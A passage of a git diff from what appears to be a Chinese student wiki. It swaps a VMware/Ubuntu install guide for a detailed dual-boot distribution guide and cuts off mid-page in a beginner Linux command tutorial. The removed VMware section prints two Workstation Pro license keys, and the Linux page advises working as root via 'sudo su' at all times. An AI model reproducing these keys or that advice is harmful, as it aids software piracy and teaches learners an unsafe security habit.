+首先阅读[提问的智慧](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md),这对提升个人素养很有帮助。也有助于和能够提供帮助的人有效交流。 + +一般来说,各个发行版都有自己的 Wiki,里面介绍了发行版本身的特点,常用的软件和各种问题的解法。但是有些发行版的 wiki 年久失修,可能会过时或者缺失内容导致无法解决问题。这时候可以其他发行版的 wiki,只要了解发行版之间的差异,自己适度发挥,也能解决问题。推荐的有 [Arch Linux wiki](https://wiki.archlinux.org) (神中神,非常推荐) 和 [Debian wiki](https://wiki.debian.org) (Debian 系可以看),他们的社区比较活跃,维护比较积极。 + +社区是 Linux 当中重要的组成部分。发行版通常有自己的论坛,邮件组和 IRC 频道。如果你确信你面对的是一个全新的问题,网上找不到已有的解决方案。或者你的能力不足以找到解决方案。可以尝试在这些地方求助。保持良好的态度,尽可能详细地描述问题,相信会有志愿者来解答的。 + +### 推荐阅读 + +- [archlinux 简明指南](https://arch.icekylin.online/): 虽然是 Arch Linux 的教程,但是写的很好,其他发行版也能参考。 +- [Linux 就该这样学](https://www.linuxprobe.com/docs/LinuxProbe.pdf): 不错的书,适合长期看。 diff --git a/3.编程思维体系构建/3.Y.1VMware的安装与安装Ubuntu22.04系统.md b/3.编程思维体系构建/3.Y.1VMware的安装与安装Ubuntu22.04系统.md deleted file mode 100644 index 6665f59..0000000 --- a/3.编程思维体系构建/3.Y.1VMware的安装与安装Ubuntu22.04系统.md +++ /dev/null @@ -1,111 +0,0 @@ -# VMware 的安装与安装 Ubuntu22.04 系统 - -与 wsl 安装二选一 安装了 wsl 不用 VMware - -首先下载 VMware - -如果是 pro16 版本(key ZF3R0-FHED2-M80TY-8QYGC-NPKYF) - -如果是 pro17 版本(key JU090-6039P-08409-8J0QH-2YR7F ) - -本文写的时候用的版本是 pro16 ,但目前已经更新到 pro17 所以来更新个 key (如下安装与 16 版本无异) - -[https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html](https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html) - -一路下一步 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcntUYJNAaOwB8L6KSEhJJojh.png) - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnQkVQ4uyYCveO6toBujoGOc.png) - -这俩我推荐勾掉 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndgDKfTuio3nF0QboemIPHe.png) - -安装过后点许可证 输上面的 key 激活 - -[https://mirror.nju.edu.cn/ubuntu-releases/22.04/ubuntu-22.04.1-desktop-amd64.iso](https://mirror.nju.edu.cn/ubuntu-releases/22.04/ubuntu-22.04.1-desktop-amd64.iso) - -去这里下载 Ubuntu22.04 镜像包 iso - -下好回到 VMware - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnGHnjgZvtcBrm0XXitFl4Jg.png) - -创建新的虚拟机-典型(推荐)-下一步-安装程序 iso 选中你刚下的 iso 下一步 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXilUhHNEyU4r95FxiVgCdg.png) - -这里填你一会儿要登录 linux 的个人信息 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnp33Oc3Ia2HzASTZJNOhEWb.png) - -这里建议把位置改到其他盘 - -一路下一步直到完成 - -启动后进入 Ubuntu 安装 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn5Uk41JyjjdTzXWQqUkexzc.png) - -键盘映射 直接 continue - -接下来一路 continue install now - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnLxZnyFN3ohE8zrTwNaCA8e.png) - -最后 restart - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnLguvbHihJ3ngqrtyGLI6zf.png) - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnCX92JHjg8PU3quKs4GziZb.png) - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnL5Jn3g7AdzVzoBb6ZINs1f.png) - -这个 skip - -后面一路 next 最后 done - -点右上角 settings - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn85Yb3JIQ3520KeaSoyPVDd.png) - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnZLHO1JGWoSqhM9zEEhSMAd.png) - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnvLxCTKYfogPm9GNaKmusEf.png) - -然后按指引 restart 系统 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn30VJILYpO81pq89mAmzjTf.png) - -会提示你要不要重新命名这些用户下的文件夹 - -我建议选 `keep old names` - -如果你的语言还没有变过来的话 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnKzJjY8Dvj13A49bnMAztPg.png) - -点击这个他会安装语言 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndHnAuGC7TXhQgLkpLkHghf.png) - -把汉语拖到英文之上 点应用到整个系统 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnltCL3atXHtC3BUj5VI1Lqf.png) - -右上角 logout 重新登陆 就是中文辣 - -最后在设置-电源把息屏改成从不 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnLCJzGoFrUbWIMAPGFkxcb.png) - -至此 恭喜安装完成! - -之后就可以在桌面上右键 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnG6z1VpAYUGMSkSwDBUxEvf.png) - -打开命令行 - -开始你的 Linux 学习吧 diff --git a/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐.md b/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐.md new file mode 100644 index 0000000..ef16033 --- /dev/null +++ b/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐.md @@ -0,0 +1,613 @@ +# Distro + +这篇文章是关于双系统的发行版推荐,如果只是想尝试 Linux, 暂时没有长期使用的打算,可以直接跳过。 + +## 前言 + +我接触桌面版 Linux 有些年头了。 +Linux 省了我不少时间,也花了我不少时间。也算用出点心得了,知道 Linux 有多必要,也知道有多坑。 +曾经我试图寻找一个“最好的”版本向新人推荐,事实证明这样的想法是走了弯路。 +现在我敢说没有一个发行版能完全做到“新手友好”,都或多或少存在一点坑。与其寻找一个“终极”发行版,不如列一个发行版选择清单,可以根据自己的需求选择。给常见坑摘要,提供修复方法,或者给出某个发行版出现致命问题时给出替代选择。争取让入门 Linux 难度降下来。 + +## Notice + +::: warning +再次声明:这篇文章是关于双系统的发行版推荐,如果只是想尝试 Linux, 暂时没有长期使用的打算,可以直接跳过。 +请仔细阅读本文,并按照步骤操作,否则可能会**导致系统无法使用甚至丢失数据**。建议提前**备份数据**,避免手误。 +::: + +双系统安装时,**关闭快速启动,关闭安全启动,关闭 Bitlocker**! + +已知快速启动开启时,Windows 会锁定无线网卡和硬盘等硬件,导致 Linux 无法使用。关闭快速启动可以在主板或者 Windows 上面设置。建议在 Windows 上面设置。[如何关闭快速启动(知乎)](https://zhuanlan.zhihu.com/p/589927741) + +大部分 Linux 发行版不支持安全启动,因为要给微软交保护费。事实上这个功能对安全性没有作用,只是阻止了没交保护费的系统的启动而已。请在主板的 BOIS 设置内关闭。 + +Bitlocker 可能会自杀最好关掉。如果你很确信自己有加密需求,建议提前备份所有重要数据,并准备 [WePE](https://www.wepe.com.cn/download.html) 和 [Windows 安装镜像](https://www.microsoft.com/en-us/software-download/windows10),随时准备修复。 + +我们始终建议使用包管理器。目前已知的除了 VSCode 需要手动安装,其他的都尽量使用系统自带和 Flatpak。 + +## USB-live + +在开始之前,请准备一个空的 U 盘。 + +建议使用 [Ventoy](https://www.ventoy.net/cn/index.html) 这款工具制作可启动 U 盘,这样可以直接把 ISO 文件拖进 U 盘,在先后安装不同发行版的时候不需要反复烧录 U 盘。 + +但是这个方案无法使用某些 iso,比如 Debian 的 DVD 镜像就会因为找不到挂载点而失败。这时候你可能需要使用 [rufus](https://rufus.ie/zh/) 对 U 盘进行烧录。 + +## Beginner + +列出常见的开箱即用发行版,不一定推荐,但是总觉得得提两句,方便选择。 + +### Debian based + +由于大部分 Debian 系发行版使用同样的安装程序,只有一些细微的差别,所以我只给出 Linux Mint 的详细安装教程,其他发行版提出一些要点即可举一反三。 + +这类发行版使用的都是 apt 包管理器,大多数软件都是互通的。 + +#### Linux Mint + +就我个人认为,对新手来说 Linux Mint 是个不错的入门发行版。它基于 Ubuntu,软件生态好。Cinnamon 桌面可能不是很惊艳,但是简洁直观。 + +Mint 对很多需要打命令的操作都做了 GUI,这样新手更容易使用。这是我见过为数不多的把开箱即用和可定制结合的比较好的主流发行版。 + +首先去 Mint 官网 下载 Cinnamon 版本。如果你使用新硬件可以下载 Cinnamon Edge。 + +点击 Download 之后会跳转到下载页面,你可以下拉列表选择 China 源进行下载,速度会很快。 + +如果有 Windows 存在的情况下,Mint 可以自动选择一个最大的分区,让你划出一定大小的空间用来安装。如果你分了很多盘,你可以在 Windows 下提前使用 Diskgenius 之类的分区软件整理你的分区,把剩余空间集中到一个盘上面,好让 Mint 自动缩小你想要缩小的盘,而不是手动指定。操作页面就像这样。 + +![mint windows size](https://cdn.xyxsw.site/mint-windows-size.png) + +##### 安装 + +用手机打开这个教程,插上你的 U 盘,关机。我们就可以开始安装了。 + +首先要启动到 U 盘,这个请自行查阅你们的电脑的启动方法。如果成功,你就可以看到这个页面。按下回车,耐心等待,就可以进入安装页面了。在这个页面按下回车。 + +![boot](https://cdn.xyxsw.site/mint-install-1.png) + +不久就进入这个页面。打开左上角的安装程序可以进行安装。如果使用 Ventoy 让你 umount 什么点确定就可以了。 + +![live](https://cdn.xyxsw.site/mint-install-2.png) + +建议使用英文进行安装,以后自己手动设置中文,这样配置不容易出错。所以这里点击 Continue 就行 + +![language](https://cdn.xyxsw.site/mint-install-3.png) + +continue + +![keyboard](https://cdn.xyxsw.site/mint-install-4.png) + +勾选,然后 continue. 这样 mp4 一类的格式就可以默认正常打开。 + +![multimedia](https://cdn.xyxsw.site/mint-install-5.png) + +由于我这里是虚拟机,只有清空磁盘的选项。你们如果已经有 Windows 的机子可以选择 install alongside Windows。 + +![install type](https://cdn.xyxsw.site/mint-install-6.png) + +在地图上找到中国,点击。 + +![location](https://cdn.xyxsw.site/mint-install-7.png) + +输入你的用户名和密码。密码建议别太简单,以后如果要跑公网服务给打烂了就不好了。这里的密码就是反面教材,字典两分钟打爆的那种。 + +![user](https://cdn.xyxsw.site/mint-install-8.png) + +等待安装。 + +![installing](https://cdn.xyxsw.site/mint-install-9.png) + +你可以查看安装程序的输出。 + +![still installing](https://cdn.xyxsw.site/mint-install-10.png) + +准备重启。 + +![install complete](https://cdn.xyxsw.site/mint-install-11.png) + +##### 配置 + +第一次启动。可以看到画风还是很贴近 Windows 的。 + +![first boot](https://cdn.xyxsw.site/mint-install-12.png) + +默认使用的软件源在国外,下载很慢,我们要换成国内源。 + +Linux Mint 的很多操作都是有对应的软件的的,非常方便。通过按 Win 键左下角的启动菜单,直接搜索名字就能打开相应的软件。很多人从 Windows 那里带来了放一桌面的快捷方式的习惯。Linux 的软件一般不放桌面快捷方式,而是通过菜单打开,这样更清爽高效。 + +在左下角搜索 software sources, 进入换源页面。其他软件也可以用这样的方式打开。 + +![software source](https://cdn.xyxsw.site/mint-install-13.png) + +输入密码。 + +![opening](https://cdn.xyxsw.site/mint-install-14.png) + +分别将 Main 和 Base 的源都换成国内源。我这里换成中科大的源,你们也可以换其他的。 + +![initial source](https://cdn.xyxsw.site/mint-install-15.png) + +换源的页面长这样,可以点击选择,然后 右下角 Apply 即可 + +![select mirror](https://cdn.xyxsw.site/mint-install-16.png) + +这里选 Main 的源。 + +![USTC](https://cdn.xyxsw.site/mint-install-17.png) + +Base 的源。 + +![next mirror](https://cdn.xyxsw.site/mint-install-18.png) + +可以看到源换好了,按下 OK 就可以保存更改。 + +![mirror](https://cdn.xyxsw.site/mint-install-19.png) + +接下来就是安装输入法。打开 Synaptic 包管理器,这是一个 apt 的 GUI 页面,比较适合新手。点开 Search, 输入 fcitx5,搜索。 + +![install fcitx5](https://cdn.xyxsw.site/mint-install-20.png) + +勾选 fcitx5,在弹出的窗口点击确定。然后勾选 fcitx5-chinese-addons。因为 fcitx5 只是一个框架,输入法在 fcitx5-chinese-addons 里面,所以两个都要安装。 + +点击左上方的 Apply 就可以安装了。 + +![select fcitx5 and install](https://cdn.xyxsw.site/mint-install-21.png) + +安装完成之后,打开 input method,将输入法从 none 切换到 fcitx5, 保存。 + +![change input method](https://cdn.xyxsw.site/mint-install-22.png) + +现在已经切换成功了。 + +![fcitx5](https://cdn.xyxsw.site/mint-install-23.png) + +打开 Fcitx5 Configuration,在右侧的可用输入法页面中搜索 Pinyin,选中,点击两个分页面中间的左箭头即可添加 pinyin 到 fcitx5. 然后点击下方 Apply 即可。 + +![add pinyin](https://cdn.xyxsw.site/mint-install-24.png) + +可以点击 Global Options 的标签页来修改快捷键。 + +![global options](https://cdn.xyxsw.site/mint-install-25.png) + +下一步,在 Language Settings 里面修改当前的语言为中文。 + +![langauge settings](https://cdn.xyxsw.site/mint-install-26.png) + +如果你是 Nvidia 显卡,现在可以打开 Driver Manager 安装 Nvidia 的驱动。我因为是虚拟机截不到图。建议 40 系显卡使用 525 版本的驱动,而不是他的推荐的 535,亲测崩溃。 + +![setting up driver](https://cdn.xyxsw.site/mint-install-27.png) + +这些都完成了就可以重启了。重启之后会问你要不要更新路径,选择保留就的名称 (Keep Old Names).这很重要,如果你不想在 bash 中 cd 来 cd 去的时候切换输入法的话。 + +![next boot](https://cdn.xyxsw.site/mint-install-28.png) + +![fcitx5 font size](https://cdn.xyxsw.site/mint-install-29.png) + +![flatpak change mirror](https://cdn.xyxsw.site/mint-install-30.png) + +![boot](https://cdn.xyxsw.site/mint-install-31.png) + +剩下就是一些安装后常用的操作了。Mint 默认自带 Flatpak,所以也不需要手动安装了。 + +#### Ubuntu + +Ubuntu 可能是最热门的发行版,某些情况下提到 Linux 就是 Ubuntu。但是 Ubuntu 有时候会作出对开发者而言比较迷惑的操作。 + +wiki 已有安装教程,我就不自己写了。 + +那么如何配置? + +##### 卸载 snap + +首先卸载 Snap。注意这样会直接干掉 Firefox,所以确保你已经阅读下面所有内容再开始操作。可以先复制到文本编辑器当中。 + +打开终端,输入 + +```bash +sudo systemctl disable snapd.service +sudo systemctl disable snapd.socket +sudo systemctl disable snapd.seeded.service +sudo snap remove firefox +sudo snap remove snap-store +sudo snap remove gtk-common-themes +sudo snap remove gnome-3-38-2004 +sudo snap remove core18 +sudo snap remove snapd-desktop-integration +sudo rm -rf /var/cache/snapd/ +sudo apt autoremove --purge snapd +rm -rf ~/snap +``` + +接着禁用 firefox 的 snap。 + +打开配置文件: + +```bash +sudo nano /etc/apt/preferences.d/firefox-no-snap +``` + +在文件中粘贴以下内容,保存: + +```text +Package: firefox* +Pin: release o=Ubuntu* +Pin-Priority: -1 +``` + +把 Firefox 请回来 + +```bash +sudo add-apt-repository ppa:mozillateam/ppa +sudo apt update +sudo apt install firefox +``` + +如果安装过慢,可以 `Ctrl+C` 暂时杀掉。打开 Software Update(软件与更新),修改 ppa,从 `http://ppa.launchpad.net` 换成 `https://launchpad.proxy.ustclug.org`。最后重新执行安装命令。 + +![](https://cdn.xyxsw.site/ubuntu-ppa.png) + +##### 安装输入法 + +参考[Ubuntu22.04 安装 Fcitx5 中文输入法(知乎)](https://zhuanlan.zhihu.com/p/508797663)。基本都可以照做,但是不要跟着他往 `~/.bash_profile` 和 `/etc/profile` 里面丢垃圾。环境变量要写到 `~/.pam_environment` 里面,内容如下,不要和他一样带 `export`: + +```text +XMODIFIERS=@im=fcitx +GTK_IM_MODULE=fcitx +QT_IM_MODULE=fcitx +``` + +提示一下,`~/` 是当前用户文件夹的简称,假如用户名是 `user`,对应的路径就是 `/home/user/`。 + +#### Pop! OS + +这个不是很热门,感觉也一般,只是带了 N 卡的开箱支持,所以 N 卡用户不行可以试试看。 + +Pop! OS 的安装程序会直接无视 Windows,建议先在 Windows 下面用 Diskgenius 之类的软件划出一个 1G 的 FAT32 分区和一个 200G 以上的 EXT4 分区,然后在安装选项里面选择高级选项,把 FAT32 分区作为 EFI,EXT4 分区作为 `/`。 + +#### Zorin OS + +不得不吐槽这帮人把时间都用到魔改 Gnome 外观上面了。到现在还基于 Ubuntu focal, 都 2023 年了。连装个 fcitx5 都费劲。 + +自带 Wine 支持,听说不错,我反正“网络不好”没安装上。 + +#### MX Linux + +distrowatch 上面排名挺高,但是结合发行版实际情况感觉很有刷榜嫌疑。没有很肯定的理由选择的话,还是用 Mint 吧。 + +### Arch based + +因为 Arch Linux 太强势,这里系列主要用的比较多的就是 Manjaro,所以先只写 Manjaro。后面可能会继续添加。 + +#### Manjaro + +基于 Arch Linux 的开箱即用的发行版,有 Arch Linux 的部分优点,而且对新手更加易用。 + +有过忘记更新证书的黑历史,不过这两年消停会了。 + +安装过程如图。 + +![](https://cdn.xyxsw.site/manjaro-1.png) + +![](https://cdn.xyxsw.site/manjaro-2.png) + +![](https://cdn.xyxsw.site/manjaro-3.png) + +![](https://cdn.xyxsw.site/manjaro-4.png) + +![](https://cdn.xyxsw.site/manjaro-5.png) + +这里要留意一下 + +![](https://cdn.xyxsw.site/manjaro-6.png) + +如果有 Windows 这么选 + +![](https://cdn.xyxsw.site/manjaro-install-alongside.png) + +![](https://cdn.xyxsw.site/manjaro-7.png) + +![](https://cdn.xyxsw.site/manjaro-8.png) + +![](https://cdn.xyxsw.site/manjaro-9.png) + +安装完成,重启。 + +输入法是没有安装的,自己安装。 + +```zsh +sudo pacman -S fcitx5 fcitx5-configtool fcitx5-qt fcitx5-gtk fcitx5-chinese-addons kcm-fcitx5 fcitx5-lua +kate ~/.pam_environment +``` + +kate 会打开 `~/.pam_environment`,接着把下面的环境变量写进去: + +```text +GTK_IM_MODULE=fcitx +QT_IM_MODULE=fcitx +XMODIFIERS=@im=fcitx +``` + +### Others + +#### Deepin + +目前还是 Debian 系,鉴于他们官宣要脱离 Debian,那我就放 Other 里面了。 + +Deepin 的本土化做的很不错,支持一些国内常用的软件。 + +但是总是让我感觉不够 Linux,手感比较奇怪。定位类似产品而不是工具。如果想要在国内替代 Windows 可以试试看。我之前使用的时候太不稳定,小 bug 一堆。现在不知道好点没有。我建议写程序还是少用,设计哲学不一样,容易把自己带偏。 + +#### UOS + +反正不是给我们用的。毕竟 root 权限还要注册他们的账号登陆,没绷住。 + +![](https://cdn.xyxsw.site/uos-3.png) + +![](https://cdn.xyxsw.site/uos-4.png) + +顺便说下我至今没找到 UOS 的源码,只看到[一篇干巴巴的新闻](https://www.zgswcn.com/article/202212/202212211344581036.html)声称“开源了开源了真的在开源了”。也就欺负 Linux Foundation 不打跨国官司。本来不想挂人的,但是[如果 UOS 用户就这素质](https://bbs.chinauos.com/post/7543)我真忍不了: + +![troll](https://cdn.xyxsw.site/uos-troll.png) + +## Advanced(Debian, Arch Linux, etc.) + +面向桌面用户的进阶发行版。Red Hat 根本看不上个人用户,所以我就不自找麻烦了。 + +### Debian + +Debian 的招牌就是稳定。在服务端这个优点非常明显。虽然在桌面端有些软件拖后腿导致它没那么稳,但是比起其他发行版还是更加稳定的。Debian 主要面向专业人士,桌面端不够开箱即用,需要很多额外的配置。祖传的安装界面对新手也不太友好。好在有 live 版本可以使用。 + +Debian 的兼容性非常优秀,在其他发行版挂掉的情况下面都能稳定跑。如果遇到兼容性问题那就直接上 Debian 吧,再怎么样也比 Arch Linux 容易安装一点。而且安装配置结束基本就不会再挂了。最近的 11 和 12 两个大版本一改老旧的形象,积极拥抱新事物,值得尝试。 + +不建议使用 Ventoy 启动 Debian 的镜像,因为 Ventoy 和 Debian 都很喜欢 hack,两者加起来容易爆炸。老老实实用 Rufus 烧录空 U 盘吧。 + +官网下的 ISO 文件是真的多。我这里推荐下载 [Live 镜像](https://mirrors.ustc.edu.cn/debian-cd/current-live/amd64/iso-hybrid/),因为安装相对来说比较方便直观。。下载页面很传统,而且可选的很多,但是不要紧,kde 和 gnome 二选一即可,老爷机就 lxqt。 + +如果你的 Live 镜像出了什么锅炸掉了,可以试试 [DVD 镜像](https://mirrors.ustc.edu.cn/debian-cd/current/amd64/iso-dvd/),祖传的安装页面很不友好,但有时候是唯一的选择。 + +#### Live 安装 + +这里以 Live KDE 为例子,Gnome 也是一样的。 + +首先是祖传的选择系统。直接回车。 + +![](https://cdn.xyxsw.site/debian-live-1.png) + +进来之后是不是很懵?哪里有 Install 呢?多半因为打包的志愿者忘了放快捷方式,自己左下角菜单点出来就好了。 + +![](https://cdn.xyxsw.site/debian-live-2.png) + +这样点出来。 + +![](https://cdn.xyxsw.site/debian-live-3.png) + +还要输入密码,密码也没告诉你。我去网上搜了一下,这个密码是 `live`。 + +![](https://cdn.xyxsw.site/debian-live-4.png) + +这样就打开了安装页面了。一路下一步吧。 + +![](https://cdn.xyxsw.site/debian-live-5.png) + +![](https://cdn.xyxsw.site/debian-live-6.png) + +![](https://cdn.xyxsw.site/debian-live-7.png) + +到这里,我们需要选择安装方式。我这里是虚拟机,只能看到 Erase disk 这个选项。如果有是 Windows 会出现别的选项。 + +![](https://cdn.xyxsw.site/debian-live-8.png) + +在已经有 Windows 安装好的情况下面是这样的。 + +![](https://cdn.xyxsw.site/debian-live-alongside.png) + +用户名和密码 + +![](https://cdn.xyxsw.site/debian-live-9.png) + +双系统的用户在这一页面检查一下,别把 Windows 干掉了。 + +![](https://cdn.xyxsw.site/debian-live-10.png) + +重启吧。 + +![](https://cdn.xyxsw.site/debian-live-11.png) + +#### 传统安装 + +有时候只能传统安装。思路和 Live 是差不多的,只是程序有点丑,然后有些不是很直观。看仔细点就行。一般很少用到。 + +#### 配置系统 + +##### 通用部分 + +打开 Konsole(KDE) 或者 Terminal(Gnome) 准备打命令。Gnome 用户按下 Win 键即可呼出搜索。 + +先[换源](https://mirrors.ustc.edu.cn/help/debian.html),再[安装输入法](https://wiki.debian.org/I18n/Fcitx5)和 [flatpak](https://flathub.org/setup/Debian),顺便换个 [flathub 源](https://mirror.sjtu.edu.cn/docs/flathub)。下面把这些教程整合起来。 + +依次输入这些命令,看清楚要求。 + +```bash +# 换源 +sudo sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list +sudo sed -i 's/security.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list +sudo apt update && sudo apt upgrade +``` + +如果出现类似 `E: 仓库 "http://mirrors.ustc.edu.cn/debian/ bookworm-security Release" 没有 Release 文件` 的报错,请用 `sudo nano /etc/apt/sources.list` 打开,手动将 `http://mirrors.ustc.edu.cn/debian/ bookworm-security` 改成 `http://mirrors.ustc.edu.cn/debian-security/ bookworm-security`,并再次 `sudo apt update`。 + +```bash +# 时间同步 +sudo apt install systemd-timesyncd +# 安装输入法 +sudo apt install --install-recommends fcitx5 fcitx5-chinese-addons +``` + +```bash +# flatpak +sudo apt install flatpak +# 下面两个命令二选一即可 +sudo apt install plasma-discover-backend-flatpak # 对于 KDE 桌面 +sudo apt install gnome-software-plugin-flatpak # 对 Gnome 桌面 +# 添加仓库 +flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo +# 换源 +flatpak remote-modify flathub --url=https://mirror.sjtu.edu.cn/flathub +``` + +对于 Nvidia 显卡,还要[安装驱动](https://wiki.debian.org/NvidiaGraphicsDrivers#Debian_12_.22Bookworm.22)。 + +我们需要把 `non-free contrib` 这两个仓库加上。可以在文件管理器中打开 `/etc/apt/` 这个目录,双击 `sources.list` 文件。(Gnome 的文件管理器按 Win+L 可以输入路径) + +Gnome 会弹出一个窗口,全勾起来保存就行。 + +![sources.list](https://cdn.xyxsw.site/sources.png) + +KDE 会用 Kate 打开它,每行都加上 `non-free contrib`,保存,Over. + +![sources.list](https://cdn.xyxsw.site/debian-kde-source.png) + +接下来打开命令行,执行: + +```bash +sudo apt update +sudo apt install nvidia-driver firmware-misc-nonfree +``` + +结束之后,重启。KDE 重启之后记得在登录页面把左下角桌面设置换成 X11。 + +##### KDE 部分 + +安装完大概是这样的。 + +![](https://cdn.xyxsw.site/debian-live-12.png) + +打开 input method,修改输入法。注意不要开错了。 + +![](https://cdn.xyxsw.site/debian-live-13.png) + +OK + +![](https://cdn.xyxsw.site/debian-live-14.png) + +YES + +![](https://cdn.xyxsw.site/debian-live-15.png) + +选中 fcitx5 + +![](https://cdn.xyxsw.site/debian-live-16.png) + +OK + +![](https://cdn.xyxsw.site/debian-live-17.png) + +打开 Fcitx 5 的设置。 + +![](https://cdn.xyxsw.site/debian-live-18.png) + +现在还没自动运行。平时也可以在这里启动设置。 + +![](https://cdn.xyxsw.site/debian-live-19.png) + +点击右下角 Add Input Method + +![](https://cdn.xyxsw.site/debian-live-20.png) + +搜索 Pinyin,选中,Add。 + +![](https://cdn.xyxsw.site/debian-live-21.png) + +默认的字体非常小,建议更改。点击 Configure addons,因为 UI 属于 Addon。至于快捷键可以在另一个设置里面改。 + +![](https://cdn.xyxsw.site/debian-live-22.png) + +设置 Classic User Interface + +![](https://cdn.xyxsw.site/debian-live-23.png) + +这里可以更改字体。 + +![](https://cdn.xyxsw.site/debian-live-24.png) + +然后就能使用了。 + +![](https://cdn.xyxsw.site/debian-live-25.png) + +可以更改 Language 为中文了。 + +![](https://cdn.xyxsw.site/debian-live-26.png) + +Flathub 上面的软件可以通过 KDE 自带的 Discover 应用中心安装。 + +这里我们看到 flatpak 已经启用了。 + +![](https://cdn.xyxsw.site/debian-live-27.png) + +##### Gnome + +Gnome 开箱状态就是残废,本来应该是官方做的事情,结果 Gnome 摆 Debian 也摆,都丢给用户了。 + +Gnome 一上来就让你改语言,改中文就行,然后一路下一步。下次重启可能会问你是否更改文件名称,选择否。 + +![](https://cdn.xyxsw.site/debian-live-gnome1.png) + +然后按下 Win 键进入菜单,呼出 Terminal, 安装一些插件。 + +![](https://cdn.xyxsw.site/debian-live-gnome2.png) + +![](https://cdn.xyxsw.site/debian-live-gnome3.png) + +```bash +sudo apt install gnome-shell-extension-dashtodock gnome-shell-extension-desktop-icons-ng gnome-shell-extension-kimpanel +``` + +我们之前已经装好 fcitx5, 所以这里启用就行。 + +![](https://cdn.xyxsw.site/debian-live-gnome4.png) + +![](https://cdn.xyxsw.site/debian-live-gnome5.png) + +一切完成,重启。 + +![](https://cdn.xyxsw.site/debian-live-gnome6.png) + +打开 Extension,启用任务栏,桌面图标和输入法面板的拓展。 + +![](https://cdn.xyxsw.site/debian-live-gnome10.png) + +![](https://cdn.xyxsw.site/debian-live-gnome7.png) + +打开 tweaks, 启用最大化和最小化按钮。当然 2k 屏幕也可以改改缩放。 + +![](https://cdn.xyxsw.site/debian-live-gnome8.png) + +![](https://cdn.xyxsw.site/debian-live-gnome9.png) + +差不多能用了,剩下可以自己折腾。 + +#### Trouble shooting + +##### 没有 sudo 权限 + +多半是打包的忘了加上去,自己加一下就好了。 + +```bash +su root +sudo usermod -a -G sudo <你的用户名> +``` + +### Arch Linux + +邪教教主。好用是真的好用,邪教也是真的邪教。建议有事没事看那边的 wiki,写的是真的很好。 + +安装教程我就不再班门弄斧了,可以自己看。 + +### Fedora + +以后写吧,不会比 Debian 难的。 + +### OpenSUSE + +为数不多官方 KDE 的发行版,可能是因为他们总部都在德国。感觉 SUSE 中规中矩,这么多年都没搞出什么大新闻。 diff --git a/3.编程思维体系构建/3.Y.3Linux初探索.md b/3.编程思维体系构建/3.Y.3Linux初探索.md deleted file mode 100644 index 4572a61..0000000 --- a/3.编程思维体系构建/3.Y.3Linux初探索.md +++ /dev/null @@ -1,151 +0,0 @@ -# Linux 初探索 - -如果你是第一次接触link,请一边仔细阅读,一边尝试敲命令在终端内。 - -有一点非常重要,这章节的内容到后面会略为困难,并且 linux 知识繁杂多样。 - -希望你可以参考这个链接! -[一些基本常识](https://linux.cn/article-6160-1.html) - -当然,你也可以从蓝桥云课开始,不过学会linux的最好办法是删掉你的windows换一个linux系统当开发环境,比任何临时的训练都有效! - -# 探索命令行 - -Linux 命令行中的命令使用格式都是相同的: - -``` -命令名称 参数1 参数2 参数3 ... -``` - -参数之间用任意数量的空白字符分开. 关于命令行, 可以先阅读[一些基本常识](https://linux.cn/article-6160-1.html). 然后我们介绍最常用的一些命令: - -- (重要)首先教一个命令 `sudo su` 进入 root 账户(敲完之后会让你敲当前登录账户的密码 密码敲得过程中没有*****这种传统敲密码的提示 为 linux 传统艺能 其实是敲进去了),因为本身普通账户没什么权限,会出现处处的权限提示,建议直接使用 root 账户。 - -``` -这里有一个彩蛋 (如果你用的是centos的话) -当用户第一次使用sudo权限时CentOS的系统提示: -我们信任您已经从系统管理员那里了解了日常注意事项。 -总结起来无外乎这三点: -#1) 尊重别人的隐私。 -#2) 输入前要先考虑(后果和风险)。 -#3) 权力越大,责任越大。 -``` - -- `ls` 用于列出当前目录(即"文件夹")下的所有文件(或目录). 目录会用蓝色显示. `ls -l` 可以显示详细信息. -- `pwd` 能够列出当前所在的目录. -- `cd DIR` 可以切换到 `DIR` 目录. 在 Linux 中, 每个目录中都至少包含两个目录: `.` 指向该目录自身, `..` 指向它的上级目录. 文件系统的根是 `/`. -- `touch NEWFILE` 可以创建一个内容为空的新文件 `NEWFILE`, 若 